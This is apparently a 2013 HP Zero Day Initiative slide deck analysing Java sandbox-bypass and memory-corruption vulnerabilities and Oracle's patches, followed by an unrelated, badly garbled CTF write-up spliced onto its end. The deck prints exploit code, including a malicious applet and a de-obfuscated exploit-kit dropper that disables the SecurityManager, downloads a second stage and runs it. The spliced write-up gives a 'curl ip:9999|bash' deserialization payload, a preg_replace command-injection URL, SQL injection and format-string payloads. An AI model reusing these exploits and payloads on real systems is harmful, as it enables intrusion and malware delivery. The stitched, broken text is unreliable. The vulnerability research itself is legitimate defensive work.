Industry Focused on Sandbox Bypasses
Targeted Attacks against Large Software Vendors
Multiple 0-day Vulnerabilities Demonstrated at Pwn2Own
• Expose the Actual Attack Surface that Oracle’s Java Brings to the Table
• Take an In-Depth Look at the Most Common Vulnerability Types
• Examine Specific Parts of the Attack Surface Being Taken Advantage of by Attackers
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
8
Vulnerability Sample Set
Scoped to Modern Day Vulnerabilities
• Issues Patched Between 2011-2013
Root Cause Analysis Performed on Over 120 Unique Java Vulnerabilities
• Entire Zero Day Initiative Database
• Numerous Vulnerabilities Feed
• Penetration Testing Tools
• Exploit Kits
• Six 0-day Vulnerabilities Yet To Be Patched by Oracle
Threat Landscape
• 52,000 Unique Java Malware Samples
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
9
Oracle Java’s Footprint and Software Architecture
Huge Install Base
• 1.1 Billion Desktops run Java
• 1.4 Billion Java Cards Produced Each Year…
Users Running Outdated Software
• 93% of Java Users Not Running Latest Patch a Month
After Release
Wide-Spread Adoption
• Written Once, Run Anywhere
• Popular in the Financial Marketplace
• Major Inroads in the Mobile Device Space
Attacker’s Best Friend
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
10
Oracle Java’s Footprint and Software Architecture
Powerful Development Framework
• Over Fifty Sub-components
• Developers Quickly Extend Application
• Ease Complicated Development Tasks
Wide Range of Capabilities
• Render a User Interface
• Process Complex Fonts and Graphics
• Consume Common Web Service Protocols
Attacker’s Best Friend
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
Vulnerability Trending and
Attack Surface
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
12
Vulnerability Statistics 2011-2013
Increased Patching Year-Over-Year
• 250 Remotely Exploitable Vulnerabilities Patched
• 50 Issues Patched in 2011
• 130 in the First Half of 2013
Consistent Patch Schedule
• Once every 3-4 Months
Oracle Java SE Risk Matrix
• CVE and CVSS
• Location in the Architecture
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
13
Oracle Java Patch Statistics
Sub-components Corrected in Each Patch
Release Since 2011
• Deployment
• 2D
Double-digit CVE Count in a Single Patch
• Deployment (10 Vulnerabilities in Feb 2013)
• JavaFX (12 Vulnerabilities in Feb 2013)
Severity Indicators
• Average CVSS Score: 7.67
• 50% of Issues > CVSS 9.0
Following Sub-components Account for
Half Remotely Exploitable Vulnerabilities
Focus on the Sub-components
Rank
Sub-component
Average CVSS
1
Deployment
7.39
2
2D
9.43
3
Libraries
7.24
4
JavaFX
8.83
5
AWT
7.73
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
14
Zero Day Initiative Submission Trends
Consistent Submission Rate
• Average 5 a Quarter
• High of 33 in One Quarter
Sub-Component Focus
1.
2D
2.
Libraries
3.
JavaFX
4.
Sound
5.
Deployment
Emphasis on Severity
• Average CVSS: 9.28
Accounted for 36% of Java’s vulnerabilities
with CVSS score of 9.0 or higher
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
15
Insight into Vulnerability Classes (CWE)
CWE-265: Privilege /
Sandbox Issues
CWE-470:
Unsafe
Reflection
CWE-272: Least
Privilege
Violation
CWE-843: Type
Confusion
CWE-120: Buffer
Overflow
CWE-122:
Heap-based
Buffer Overflow
CWE-121:
Stack-based
Buffer Overflow
CWE-119: Improper
Restrictions on
Buffer Operations
CWE-787: Out-
of-bounds
Write
CWE-125: Out-
of-bounds Read
CWE-822: Untrusted
Pointer Dereference
CWE-190: Integer
Overflow
Other Less
Common CWEs
CWE-114:
Process Control
CWE-78: OS
Command
Injection
CWE-416: Use-
After-Free
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
16
Different Flavors of CWEs
Root Cause of Access Violation
• Integer Overflow (CWE-190) causing Allocation of
Smaller than Intended Buffer
• Incorrect Arithmetic Operation Resulting in Writing
Past a Statically Sized Buffer
CWE-122 Heap-based Buffer Overflows and CWE-787 Out-of-bounds Writes
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
17
Oracle Known About This Weakness For Some Time
CWE-265 Breakdown and Historical Timeline
About Half of the Vulnerabilities in Data Set
• Unsafe Reflection Most Popular, Followed by Least Privilege Violations
Popular with Exploit Kit Community
• Nine CVEs Under Active Exploitation Over Last Three Years
• No Need to Bypass DEP or ASLR Mitigations, It Just Works
!"#$%&'%$&(&)*
!"#$%&''$+(,,*
!"#$%&'%$')%+*
!"#$%&'%$,-.'*
!"#$%&'%$(&)-*
!"#$%&'+$&,%%*
!"#$%&'+$&,+'*
%&''*
%&'%*
%&'+*
,*
.*
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
18
Mapping Vulnerability Class to Sub-components
Extrapolating Sub-component Weaknesses
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
19
Mapping Vulnerability Class to Sub-components
Extrapolating Sub-component Weaknesses
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
20
Top 7 Vulnerability Classes in the Java
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
Java Sub-component
Weaknesses
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
22
Privilege/Sandbox Issues due to Unsafe Reflection
Library Sub-component Weaknesses
CVE-2013-2436
• Uses Security Exploration’s Issue 54
– Gives access to ClassLoader.defineClass via a MethodHandle
• Also Issue 55 (Independently submitted to the ZDI)
• Call MethodHandle.bindTo on the Applet’s ClassLoader
– Changes restrictions so that ClassLoader is a valid argument
• Create a PermissionDomain that contains AllPermission
• Load a class using the aforementioned PermissionDomain
• Execute a method within the loaded class that will disable the SecurityManager
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
23
public class MaliciousApplet extends Applet {
private static MethodHandle defineClassHandle;
public static CallSite setDefineClassHandle(MethodHandles.Lookup caller, String name, MethodType type, MethodHandle handle)
throws NoSuchMethodException, IllegalAccessException {
defineClassHandle = handle;
return null
}
public void init() {
try {
InvokeDynamic.getClassHandle();
} catch (Exception e) { }
try {
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(null, permissions);
ClassLoader myClassLoader = MaliciousApplet.class.getClassLoader();
MethodHandle boundMHandle = defineClassHandle.bindTo(myClassLoader);
Class evilClass = (Class)boundMHandle.invoke("Evil", CLASS_BYTES, 0, CLASS_BYTES.length, protectionDomain);
// At this point you would invoke a method within the evilClass
} catch (Exception e) { }
}
}
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
24
Privilege/Sandbox Issues due to Unsafe Reflection
Library Sub-component Weaknesses
CVE-2013-2436
• Patched in JDK 7u21
– sun.invoke.util.Wrapper’s convert method was modified
– Updated snippet
private <T> T convert(Object paramObject, Class<T> paramClass, boolean paramBoolean) {
if (this == OBJECT)
{
assert (!paramClass.isPrimitive());
if (!paramClass.isInterface()) {
paramClass.cast(paramObject);
}
...
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
25
private <T> T convert(Object paramObject, Class<T> paramClass, boolean paramBoolean) {
if (this == OBJECT) {
localObject1 = paramObject;
return localObject1;
}
Object localObject1 = wrapperType(paramClass);
if (((Class)localObject1).isInstance(paramObject)) {
localObject2 = paramObject;
return localObject2;
}
Object localObject2 = paramObject.getClass();
if (!paramBoolean) {
localObject3 = findWrapperType((Class)localObject2);
if ((localObject3 == null) || (!isConvertibleFrom((Wrapper)localObject3))) {
throw newClassCastException((Class)localObject1, (Class)localObject2);
}
}
Object localObject3 = wrap(paramObject);
assert (localObject3.getClass() == localObject1);
return localObject3;
}
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
26
Privilege/Sandbox Issues due to Least Privilege Violation
Library Sub-component Weaknesses
CVE-2013-1484
• Proxy.newProxyInstance
– Does not save the caller’s AccessControlContext
– Requires an InvocationHandler that executes an arbitrary statement
• MethodHandleProxies.asInterfaceInstance
– Can create an InvocationHandler instance
– Gives access to ClassLoader.defineClass via a MethodHandle
• Execute the bound MethodHandle without putting user frames on the stack
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
27
Privilege/Sandbox Issues due to Least Privilege Violation
Library Sub-component Weaknesses
CVE-2013-1484
• Example snippet
• Still need to use Proxy.newProxyInstance
• Then need to invoke the method such that no user frames are put on the stack
DesiredClass desiredClassInstance = new DesiredClass()
MethodType methodType = MethodType.methodType(ReturnClass.class, ParameterClass.class);
MethodHandle methodHandle = MethodHandles.lookup().findVirtual(DesiredClass.class, "instanceMethod", methodType);
methodHandle = methodHandle.bindTo(desiredClassInstance);
methodHandle = MethodHandles.dropArguments(methodHandle, 0, Object.class, Method.class, Object[].class);
InvocationHandle iHandler = MethodHandleProxies.asInterfaceInstance(InvocationHandler.class, methodHandle);
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
28
Heap-based Buffer Overflow due to Integer Overflow
2D Sub-component Weaknesses
CVE-2013-0809
• mlib_ImageCreate
– Implemented in jdk/src/share/native/sun/awt/medialib/mlib_ImageCreate.c
– Overflow based on height * width * channels * 4
mlib_image *mlib_ImageCreate(mlib_type type, mlib_s32 channels,
mlib_s32 width, mlib_s32 height) {
if (width <= 0 || height <= 0 || channels < 1 || channels > 4) {
return NULL;
};
...
switch (type) {
...
case MLIB_INT:
wb = width * channels * 4;
break;
...
}
...
data = mlib_malloc(wb * height);
...
}
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
29
Heap-based Buffer Overflow due to Integer Overflow
2D Sub-component Weaknesses
CVE-2013-0809
• Patched in JDK 7u17
– Introduction of the SAFE_TO_MULT macro
– Used whenever values are being multiplied
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
30
mlib_image *mlib_ImageCreate(mlib_type type, mlib_s32 channels, mlib_s32 width, mlib_s32 height) {
if (!SAFE_TO_MULT(width, channels)) {
return NULL;
}
wb = width * channels;
...
switch (type) {
...
case MLIB_INT:
if (!SAFE_TO_MULT(wb, 4)) { return NULL; }
wb *= 4;
break;
...
}
...
if (!SAFE_TO_MULT(wb, height)) {return NULL; }
data = mlib_malloc(wb * height);
if (data == NULL) { return NULL; }
...
}
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
31
Out-of-bounds Write due to Integer Overflow
2D Sub-component Weaknesses
CVE-2013-2420
• setICMpixels
– Implemented in jdk/src/share/native/sun/awt/image/awt_ImageRep.c
– Accessible via sun.awt.image.ImageRepresentation
– Issue lies in the last parameter
• Its scanlideStride field is used without any validation
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
32
JNIEXPORT void JNICALL
Java_sun_awt_image_ImageRepresentation_setICMpixels(JNIEnv *env, jclass cls, jint x, jint y, jint w, jint h, jintArray jlut,
jbyteArray jpix, jint off, jint scansize, jobject jict) {
unsigned char *srcData = NULL;
int *dstData;
int *dstP, *dstyP;
unsigned char *srcyP, *srcP;
int *srcLUT = NULL;
int yIdx, xIdx;
int sStride;
int *cOffs;
int pixelStride;
jobject joffs = NULL;
jobject jdata = NULL;
sStride = (*env)->GetIntField(env, jict, g_ICRscanstrID);
pixelStride = (*env)->GetIntField(env, jict, g_ICRpixstrID);
joffs = (*env)->GetObjectField(env, jict, g_ICRdataOffsetsID);
jdata = (*env)->GetObjectField(env, jict, g_ICRdataID);
srcLUT = (int *) (*env)->GetPrimitiveArrayCritical(env, jlut, NULL);
srcData = (unsigned char *) (*env)->GetPrimitiveArrayCritical(env, jpix, NULL);
cOffs = (int *) (*env)->GetPrimitiveArrayCritical(env, joffs, NULL);
dstData = (int *) (*env)->GetPrimitiveArrayCritical(env, jdata, NULL);
dstyP = dstData + cOffs[0] + y*sStride + x*pixelStride;
srcyP = srcData + off;
for (yIdx = 0; yIdx < h; yIdx++, srcyP += scansize, dstyP+=sStride) {
srcP = srcyP;
dstP = dstyP;
for (xIdx = 0; xIdx < w; xIdx++, dstP+=pixelStride) {
*dstP = srcLUT[*srcP++];
}
}
}
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
33
Out-of-bounds Write due to Integer Overflow
2D Sub-component Weaknesses
CVE-2013-2420
• Patched in JDK 7u21
– Introduction of the CHECK_STRIDE, CHECK_SRC, CHECK_DST macros
– All input arguments validated
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
34
#define CHECK_STRIDE(yy, hh, ss)
if ((ss) != 0) {
int limit = 0x7fffffff / ((ss) > 0 ? (ss) : -(ss));
if (limit < (yy) || limit < ((yy) + (hh) - 1)) {
/* integer oveflow */
return JNI_FALSE;
}
}
#define CHECK_SRC()
do {
int pixeloffset;
if (off < 0 || off >= srcDataLength) {
return JNI_FALSE;
}
CHECK_STRIDE(0, h, scansize);
/* check scansize */
pixeloffset = scansize * (h - 1);
if ((w - 1) > (0x7fffffff - pixeloffset)) {
return JNI_FALSE;
}
pixeloffset += (w - 1);
if (off > (0x7fffffff - pixeloffset)) {
return JNI_FALSE;
}
} while (0)
#define CHECK_DST(xx, yy)
do {
int soffset = (yy) * sStride;
int poffset = (xx) * pixelStride;
if (poffset > (0x7fffffff - soffset)) {
return JNI_FALSE;
}
poffset += soffset;
if (dstDataOff > (0x7fffffff - poffset)) {
return JNI_FALSE;
}
poffset += dstDataOff;
if (poffset < 0 || poffset >= dstDataLength) {
return JNI_FALSE;
}
} while (0)
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
35
JNIEXPORT jboolean JNICALL
Java_sun_awt_image_ImageRepresentation_setICMpixels(JNIEnv *env, jclass cls, jint x, jint y, jint w, jint h,
jintArray jlut, jbyteArray jpix, jint off, jint scansize, jobject jict)
{
...
if (x < 0 || w < 1 || (0x7fffffff - x) < w) {
return JNI_FALSE;
}
if (y < 0 || h < 1 || (0x7fffffff - y) < h) {
return JNI_FALSE;
}
sStride = (*env)->GetIntField(env, jict, g_ICRscanstrID);
pixelStride = (*env)->GetIntField(env, jict, g_ICRpixstrID);
joffs = (*env)->GetObjectField(env, jict, g_ICRdataOffsetsID);
jdata = (*env)->GetObjectField(env, jict, g_ICRdataID);
if (JNU_IsNull(env, joffs) || (*env)->GetArrayLength(env, joffs) < 1) {
/* invalid data offstes in raster */
return JNI_FALSE;
}
srcDataLength = (*env)->GetArrayLength(env, jpix);
dstDataLength = (*env)->GetArrayLength(env, jdata);
cOffs = (int *) (*env)->GetPrimitiveArrayCritical(env, joffs, NULL);
if (cOffs == NULL) {
return JNI_FALSE;
}
...
/* do basic validation: make sure that offsets for
* first pixel and for last pixel are safe to calculate and use */
CHECK_STRIDE(y, h, sStride);
CHECK_STRIDE(x, w, pixelStride);
CHECK_DST(x, y);
CHECK_DST(x + w -1, y + h - 1);
/* check source array */
CHECK_SRC();
...
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
36
Untrusted Pointer Dereference
JavaFX Sub-component Weakness
CVE-2013-2428
• com.sun.webpane.platform.WebPage
– Native pointer stored in the pPage private instance variable
– Accessible via the public getPage instance method
– Some instance methods reference pPage directly
• Others use the getPage accessor
– Subclass WebPage and re-implement getPage to achieve memory corruption
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
37
package com.sun.webpage.platform;
...
public class WebPage
{
...
private long pPage = 0L;
...
public long getPage() {
return this.pPage;
}
...
public void setEditable(boolean paramBoolean) {
lockPage();
try {
log.log(Level.FINE, "setEditable");
if (this.isDisposed) {
log.log(Level.FINE, "setEditable() request for a disposed web page.");
}
else
{
twkSetEditable(getPage(), paramBoolean);
}
} finally { unlockPage(); }
}
...
private native void twkSetEditable(long paramLong, boolean paramBoolean);
...
}
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
38
Untrusted Pointer Dereference
JavaFX Sub-component Weaknesses
CVE-2013-2428
• Access restricted in JDK 7u13
– com.sun.webpane added to the package access restriction list
• Patched in JDK 7u21
– getPage method changed to package-private and final
final long getPage() {
return this.pPage;
}
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
Leveraging Sub-component
Weaknesses
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
40
Threat Landscape
Exploit Kits Focus on Java
• Require 2+ Java Exploits to be Competitive
Mirrored Timelines
• Increased Vulnerabilities Discoveries
• Spike in Unique Java Malware Samples
Attackers Upping Their Game
• 12,000 Unique Samples Against Just 9 CVEs
• Targeting More CVEs
• Getting Exploits on More Machines
Java Malware Samples Per Month
Exploit Kit Authors Jumping on the Bandwagon
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
41
Highlighting Tool Popularity
Aligning Sub-component Weaknesses to Attacks
Determine What is Available
• Actively Targeted CVEs
• Penetration Testing Tools
• Exploit Kits
Toolsets Focus on Sandbox Bypasses
1.
Unsafe Reflection
2.
Type Confusion
3.
Heap-based Buffer Overflow
4.
Least Privilege Violation
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
42
Measuring the Landscape
Weaknesses Utilized by Attackers
Most Prevalent Issue Under Active Exploitation
• Type Confusion based Sandbox Bypasses
Memory Corruption Issues Barely Visible
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
43
Exploitation Techniques
Sandbox Bypasses
• System.setSecurityManager(null)
– Need higher context
– No user stack
Memory Corruption
• “Traditional” Exploitation Techniques
– Still have to bypass DEP and ASLR
• Something easier?
– java.beans.Statement
Bugs in Native Code
System.setSecurityManager(null)
mov ecx,[esp+0C] // pObserver
test ecx,ecx
je +0C
mov eax,[ecx]
mov edx,[esp+14] // pImage
mov eax,[eax+10]
push edx
call eax
ret 18
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
44
java.beans.Statement
Exploitation Techniques
Represents a Single Java Statement
• instanceVariable.instanceMethod(argument1)
Has an AccessControlContext Instance Variable
• Replace with AccessControlContext that has AllPermission
1.
Create the Statement
– Statement s = new Statement(System.class, “setSecurityManager”, new Object[1])
2.
Replace the AccessControlContext with a More Powerful One
– Permission p = new Permissions();
– p.add(new AllPermission());
– new AccessControlContext(new ProtectionDomain[]{new ProtectionDomain(null, p)});
3.
Execute the Statement
– s.execute();
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
45
CVE-2012-1723
Case Study
Vulnerability in the HotSpot Bytecode Verifier
• Leads to Type Confusion
Characteristics
• At Least 100 Instance Variables of a Class
– Do not need to be set
• A Static Variable of Another Class
• A Method within the Class
– Takes the Static Class’ Type
– Returns the Instance Variables’ Type
– Repeated Calls to this Method with Null as the Sole Argument
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
46
Case Study
Contains Six Class Files
Three Useful
• Adw.class
– Contains three static methods
– Only one used
• dqqOzf.class
– Implements PrivilegedExceptionAction
– Contains a call to System.setSecurityManager
• qWodxNpkOs.class
– Extends Applet
– Execution starts in its init method
Three Unused
• dumppzGr.class
– No static initializer
– Never referenced
• qFvtPH.class
– No static initializer
– Never referenced
• vceBGI.class
– No static initializer
– Never referenced
CVE-2012-1723
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
47
CVE-2012-1723
Case Study
No Characteristics of CVE-2012-1723
• Need to De-obfuscate to Find the Actual CVE
– Obfuscated with Allitori’s Java Obfuscator
• Did Not Use Options Such as Code Flow Obfuscation
• Apply Compiler Optimizations to De-obfuscate
– Constant Propagation
– Dead Code Elimination
– Function Inlining
– Function Evaluation
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
48
CVE-2012-1723
Case Study
Constant Propagation and Function Evaluation
public static URL RWdvAlV(String paramString, int paramInt)
throws Exception
{
String str = paramString;
str = str + (char)(Math.min(113, 2454) + paramInt);
str = str + (char)(Math.min(116, 23544) + paramInt);
str = str + (char)(Math.min(109, 23544) + paramInt);
str = str + (char)(Math.min(66, 7275) + paramInt);
str = str + (char)(Math.min(55, 3235) + paramInt);
str = str + (char)(Math.min(55, 2225) + paramInt);
str = str + (char)(Math.min(55, 6275) + paramInt);
return new URL(str);
}
RWdvAlV('f', -8)
new URL(”file:///”)
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
49
CVE-2012-1723
Case Study
Dead Code Elimination and Function Inlining
int wRXNjHtp(String paramString, int paramInt1,
int paramInt2, long paramLong)
{
int i = Math.min(333856, 207293) ^ 0x66493;
int j = Math.min(421682, 199391) % 85754;
int k = Math.abs(263858) + 211007;
int m = Math.abs(23452) + 221538;
return paramInt1 * 324346 + paramInt1 % 98101;
}
int wRXNjHtp(String paramString, int paramInt1,
int paramInt2, long paramLong)
{
return paramInt1 * 324346 + paramInt1 % 98101;
}
int wRXNjHtp(int paramInt1)
{
return paramInt1 * 324346 + paramInt1 % 98101;
}
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
50
//EvilApplet (formerly qWodxNpkOs)
package cve_2012_1723;
import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory;
import com.sun.org.glassfish.gmbal.util.GenericConstructor;
import java.applet.Applet;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Method;
public class EvilApplet extends Applet {
public void init() {
String str = System.getProperty("java.version");
if (str.indexOf("1.7") != -1) {
try {
ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream();
byte[] arrayOfByte = new byte[8192];
InputStream localInputStream = getClass().getResourceAsStream("dqqOzf.class");
int i;
while ((i = localInputStream.read(arrayOfByte)) > 0)
localByteArrayOutputStream.write(arrayOfByte, 0, i);
arrayOfByte = localByteArrayOutputStream.toByteArray();
GenericConstructor localGenericConstructor = new GenericConstructor(Object.class,"sun.invoke.anon.AnonymousClassLoader",new Class[0]);
Object localObject = localGenericConstructor.create(new Object[0]);
Method localMethod = ManagedObjectManagerFactory.getMethod(localObject.getClass(), "loadClass", new Class[] { Byte[].class });
Class ACLdqqOzf = (Class)localMethod.invoke(localObject, new Object[] { arrayOfByte });
EvilActionClass.triggerDoPrivBlock(getParameter("Sjuzeod"), ACLdqqOzf);
} catch (Exception e) { }
}
}
}
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
51
//EvilActionClass (formerly dqqOzf)
package cve_2012_1723;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileOutputStream;
import java.net.URL;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
public class EvilActionClass implements PrivilegedExceptionAction {
public EvilActionClass(String paramString1) {
try {
AccessController.doPrivileged(this);
getSaveAndRunSecondStage(paramString1);
} catch (Exception e) { }
}
public static void triggerDoPrivBlock(String obfuscatedURL, Class paramClass)
throws Exception {
String[] arrayOfString = obfuscatedURL.split("hj");
String url = "";
int i = 0;
while (i < arrayOfString.length)
{
url += (char)(Integer.parseInt(arrayOfString[i]) + 1);
i++;
}
paramClass.getConstructor(new Class[] { String.class }).newInstance(new Object[] { url });
}
public Object run() {
System.setSecurityManager(null);
return Integer.valueOf(56);
}
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
52
public void getSaveAndRunSecondStage(String url) {
try
{
BufferedInputStream bis = new BufferedInputStream(new URL(url).openStream());
String droppedFileName = System.getenv("APPDATA").concat("java.io.tmpdir");
BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream
(droppedFileName), 1024);
byte[] buf = new byte[1024];
int i = 0;
while ((i = bis.read(buf, 0, 1024)) >= 0) {
bos.write(buf, 0, i);
}
bos.close();
bis.close();
try {
Process localProcess = new ProcessBuilder(new String[] { droppedFileName }).start
();
} catch (Exception localException) { }
Process localProcess2 = new ProcessBuilder(new String[]{"regsvr32.exe", "/s",
droppedFileName}).start();
} catch (Exception e) { }
}
}
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
53
CVE-2012-1723 CVE-2012-5076
Case Study
De-Obfuscated Funcationality
1. GenericConstructor instantiates a restricted class, AnonymousClassLoader
2. ManagedObjectManagerFactory is used to get access to the loadClass instance method of AnonymousClassLoader
3. AnonymousClassLoader is used load a malicious subclass of PrivilegedExceptionAction
4. At this point, a function inside our malicious subclass is executed
5. De-obfuscate a URL to grab the second stage from
6. Instantiate the subclass with the URL
7. The constructor calls AccessController.doPrivileged() on itself
8. The run method is executed to nullifies the SecurityManager
9. Download the second stage and execute it
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
54
$20,000 Dollar Question
Pwn2Own 2013
What Vulnerability Types Would Researchers Bring?
• Expectation: Sandbox Bypasses due to Unsafe Reflection
• Reality: The Top 4 Vulnerability Types Affecting Java
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
Vendor Response Review
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
56
Lather, Rinse, Repeat
Handling Vulnerability Disclosure
Improving Vulnerability Turnaround Time
• ZDI Vulnerabilities Patched within 3 Months of Submission
• Improved Vulnerability Turnaround Time Over Last Three Years
Aggressively Adjust Attack Surface
• “Killed” 15 Zero Day Initiative Cases due to Patching
– JDK 7u13 Killed Three Untrusted Pointer Dereferencing Cases
– JDK 7u15 Kill Two Least Privilege Violation Cases
• Increased Applet Package Restrictions
• Tightening Up Least Privilege Violations
Increased Patch Update Cycle
• 4 Releases a Year
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
57
Package Restriction List Modifications
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
58
Full Package Restriction List for JDK 7u25
JDK 7u25
sun
com.sun.org.apache.xalan.internal.xslt
org.mozilla.jss
com.sun.xml.internal
com.sun.org.apache.xalan.internal.xsltc.cmdline
com.sun.browser
com.sun.imageio
com.sun.org.apache.xalan.internal.xsltc.compiler
com.sun.glass
com.sun.istack.internal
com.sun.org.apache.xalan.internal.xsltc.trax
com.sun.javafx
com.sun.jmx
com.sun.org.apache.xalan.internal.xsltc.util
com.sun.media.jfxmedia
com.sun.proxy
com.sun.org.apache.xml.internal.res
com.sun.media.jfxmediaimpl
com.sun.org.apache.bcel.internal
com.sun.org.apache.xml.internal.serializer.utils
com.sun.openpisces
com.sun.org.apache.regexp.internal
com.sun.org.apache.xml.internal.utils
com.sun.prism
com.sun.org.apache.xerces.internal
com.sun.org.apache.xml.internal.security
com.sun.scenario
com.sun.org.apache.xpath.internal
com.sun.org.glassfish
com.sun.t2k
com.sun.org.apache.xalan.internal.extensions
org.jcp.xml.dsig.internal
com.sun.webpane
com.sun.org.apache.xalan.internal.lib
com.sun.java.accessibility
com.sun.pisces
com.sun.org.apache.xalan.internal.res
com.sun.javaws
com.sun.webkit
com.sun.org.apache.xalan.internal.templates
com.sun.deploy
com.sun.org.apache.xalan.internal.utils
com.sun.jnlp
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
Conclusion
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
60
Oracle Weathered Quite The Storm
Large Number of Vulnerability Discoveries
50+ New Zero Day Initiative Submissions over the Last 3 Quarters
0-day Vulnerabilities Leveraged by Advisories
Largest Java Security Patches to Date
Focus on the Sandbox Bypasses
Unsafe Reflection Most Prolific Issue
Type Confusion Most Exploited Vulnerability
2D Sub-component Produces Most Severe Vulnerabilities But Not Utilized
Process Improvements by Oracle
More Frequent Security Patch Schedule
Modifications to Reduce Attack Surface
What Will Tomorrow Hold?
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
61
Thank You!
ZDI Researchers Submitting Java
Vulnerabilities Over Last Three Years
Providing Supporting Material
for this Paper
Alin Rad Pop
[email protected]
Anonymous
Anonymous
Anonymous
axtaxt
Ben Murphy
Chris Ries
James Forshaw
Joshua J. Drake
Michael Schierl
Peter Vreugdenhil
Sami Koivu
Vitaliy Toropov
VUPEN Security
Mario Vuksan of Reversing Labs
Adam Gowdiak of Security Explorations
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
Good Luck Bug Hunting!
Learn more at:
zerodayinitiative.com
hp.com/go/hpsr
java.com/en/download/uninstall.jsp | pdf |
-Writeup
Nu1L
WEB
idid=2333flag
ssrf+sqli
fuzzsecertdownload.phpssrf
insertpayload:
gitpayload:
O:7:"Record":3:{s:4:"file";s:19:" curl ip:9999|bash ";}
$ad
sqlmap
flag
.index.php.swn upload.php unzip.sh .
zipgetshell
pregpayload
http://47.104.74.209:20005/index.php?pat=/test/e&rep=system('ls -la')&sub=jutst
test
id 1%009 linux 1.php/.
getshellbackup../
YUN_WAF
...aliyunwaf…like
veneno' or 1 and password like 'xxxx' limit 1#
YUN_WAF
form-data
YUN_WAF
post..
curlechoshellflag
Pwn
pwn
12. 0x804b14c0x2223322
payloadflag
HMI
2
alarmSIGALRMhandlerROP
alarm
libcDynELFleakenvp
systemget shellmprotect+shellcode
fmtstr_payload(12, {0x804b14c: 0x2223322})
flag{1hasdfw423fgv45432wgasv45443v120bjsdf}
from pwn import *
cnt = 0x88 + 4
#context(log_level='debug')
